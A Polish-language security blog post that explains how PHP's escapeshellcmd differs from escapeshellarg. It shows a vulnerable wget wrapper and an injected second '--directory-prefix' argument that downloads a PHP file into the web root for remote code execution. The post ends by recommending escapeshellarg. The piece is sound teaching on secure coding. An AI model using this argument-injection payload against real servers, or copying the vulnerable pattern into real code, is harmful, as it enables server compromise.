02-10-2018 / Od 0 do pentestera

escapeshellcmd vs escapeshellarg

Wywoływanie systemowych komend z poziomu języka programowania brzmi jak proszenie się o kłopoty.

Ale jak zrobić to dobrze i bezpiecznie?

W PHP, jeśli chcemy użyć komendy system, która pozwala na wykonanie dowolnego programu z systemu operacyjnego, powinniśmy użyć jednej z dwóch komend: escapeshellcmd1 albo escapeshellarg2

Ale czym tak właściwie te dwie funkcje różnią się od siebie i jak wygląda różnica w ich zastosowaniu?

Czy można używać ich zamiennie?

Zacznijmy od pierwszej funkcji - escapeshellarg.

Jej użycie sprawia, że jesteśmy pewni, że użytkownik podał dokładnie jeden parametr do wybranej przez nas komendy.

Nie może podać innego parametru ani wykonać innej komendy.

Standardowe użycie wygląda zatem następująco: programista wybiera komendę, na przykład dir, aby użytkownik mógł sprawdzić dowolny katalog.

Parametr przekazywany przez użytkownika natomiast jest przekazywany do funkcji escapeshellarg.

Druga funkcja - escapeshellcmd zapewnia, że wykonana zostanie tylko jedna komenda.

Niemożliwe jest zatem wstrzyknięcie dodatkowych komend przy użyciu tricku ze średnikiem czy też pipe.

Ale komenda ta może zawierać nieskończoną liczbę parametrów.

Jeżeli więc zdecydujemy się na jej użycie musimy być pewni, że któryś z parametrów wykonywanej aplikacji nie może zostać użyty w nieprawidłowy sposób.

Najczęstszym zatem błędem jest użycie funkcji escapeshellcmd zamiast escapeshellarg.

Zobaczmy kod przykładowej aplikacji:

<?php
$url = '--directory-prefix=c:\katalog\ http://localhost:1111/exploit.php';
system(escapeshellcmd('wget --directory-prefix=..\temp '.$url));

Użytkownik może ściągnąć dowolną stronę internetową przy użyciu wget.

Strona ta zostanie zapisana do katalogu temp, który znajduje się poza serwerem WWW.

Chodzi o to aby ściągnięty skrypt nie mógł zostać zinterpretowany przez PHP.

Uzyskaliśmy to dzięki parametrowi --directory-prefix, który pozwala na ustalenie katalogu do którego zostanie zapisany pobrany plik.

Directory prefix

Sprawdźmy jak działa ta przykładowa aplikacja.

Pobieramy stronę google.pl.

Pobranie zwykłej strony

Rzeczywiście, plik index.html pojawił się w katalogu temp.

Programista użył w tym kodzie funkcji escapeshellcmd - możliwe jest zatem podanie dodatkowego parametru do wget.

Możemy zatem przekazać drugi parametr --directory-prefix - który tym razem wskazuje na bieżący katalog.

Wget pozwala na podanie wielu parametrów directory, ale bierze pod uwagę tylko ostatni z nich.

Możemy zatem ściągnąć dowolny plik z rozszerzeniem php, który zostanie zapisany do obecnego katalogu.

Ponieważ obecny katalog pozwala na wykonywanie plików php - właśnie uzyskaliśmy możliwość zdalnego wykonania kodu na tym serwerze.

Ja dla przykładu pobieram plik exploit.php, w którym znajduje się funkcja phpinfo(), pozwalająca uzyskać podstawowe informacje na temat danej instalacji.

Pobranie pliku exploit do bieżącego katalogu

Ponieważ plik został pobrany do bieżącego katalogu - mogę go teraz bez problemu uruchomić.

--directory-prefix=. http://localhost:1111/exploit.php

Jak zatem zabezpieczyć się przed tym atakiem?

Stosować funkcję escapeshellarg.

FunkcjaOpis
escapeshellcmdużytkownik wykona tylko jedną komendę
użytkownik może podać wiele parametrów
nie można wykonać innej komendy
escapeshellargużytkownik przekaże tylko jeden parametr do komendy
użytkownik nie może przekazać większej ilości parametrów
nie można wykonać innej komendy